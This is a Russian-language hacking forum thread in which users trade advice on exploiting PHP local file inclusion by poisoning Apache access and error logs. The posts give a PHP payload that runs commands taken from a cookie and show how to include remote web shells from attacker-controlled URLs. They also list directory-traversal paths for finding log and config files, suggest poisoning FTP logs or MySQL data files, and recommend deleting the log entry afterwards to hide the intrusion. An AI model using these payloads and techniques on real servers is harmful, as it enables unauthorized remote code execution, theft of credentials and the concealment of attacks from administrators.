![]() |
access_log
Слышал что при локальном инклуде файла acces_log можно выполнять команды. Можно по подробнее ?
|
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов. |
ЗЫ. Ты получишь скорее всего 400 (bad request), но запись в логе останется:
Цитата:
|
лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>.
если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\ зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше. ;) |
У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант.
Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали. Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога. Само собой, после укрепления в системе эту строчку из access.log стоит удалить ;) |
2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога.
P.S. серваки под пингвинами. Пробывал: ../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../var/log/httpd/access-log ../../../../../../../../../var/log/httpd/access.log ../../../../../../../../../var/log/httpd/access Нету файлов. также вместо httpd прописывал - apache. т.к. на некоторых серваках он завется apache, а не httpd МОжет подскажишь как его нащупать? Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает: Код:
Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83 |
Иногда лог лежит в /usr/local/apache/logs/access.log или подобных. Не обязательно в /var/log.
|
PHP код:
|
спосибо, давно что то похожое искал
|
Цитата:
Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков? |
Цитата:
|
Цитата:
вместо <? system($_COOKIE[cmd]);?> посылай <? include('http://твой_сайт.ru/shell.php'); ?> |
Не обязательно лог апача =))) разве в системе есть только они? )
А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином Цитата:
|
Цитата:
|
2 Dread
А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека. |
Цитата:
Great: да не то слово просто =\ |
Пардон за некрофилию, но вопрос встал ребром:
что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать |
искать другие файлы, в которые можно записать инфу и инклюдить
|
Цитата:
|
Можешь попробывать подинклудить файл базы данных.
C:/program files/mysql5.0.45/data/mysql К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать Цитата:
Допустим shema_name(site) и table_name(users). Тогда данный php код будет находится Цитата:
После этого можешь попытаться подинклудить php код. PS. Таким же образом можно прочитать мускульные пароли пользователей. Цитата:
|
Цитата:
|
Цитата:
Цитата:
Цитата:
|
Цитата:
|
Раз тема поднялась...
Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать? |
2TheLuckyOne в первой странице этой ветки был ответ...
Цитата:
|
Цитата:
Цитата:
Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память. |
Цитата:
Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента. |
Цитата:
Цитата:
З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет. |
Цитата:
Впрочем этот разговор выходит за рамки темы, а гадать, какая именно ситуация у TheLuckyOne, бессмысленно. |
Всё верно, ошибки Memory_Limit другой случай.
У меня проблема была с несколькими хостами на тему зависания. |
| Время: 15:52 |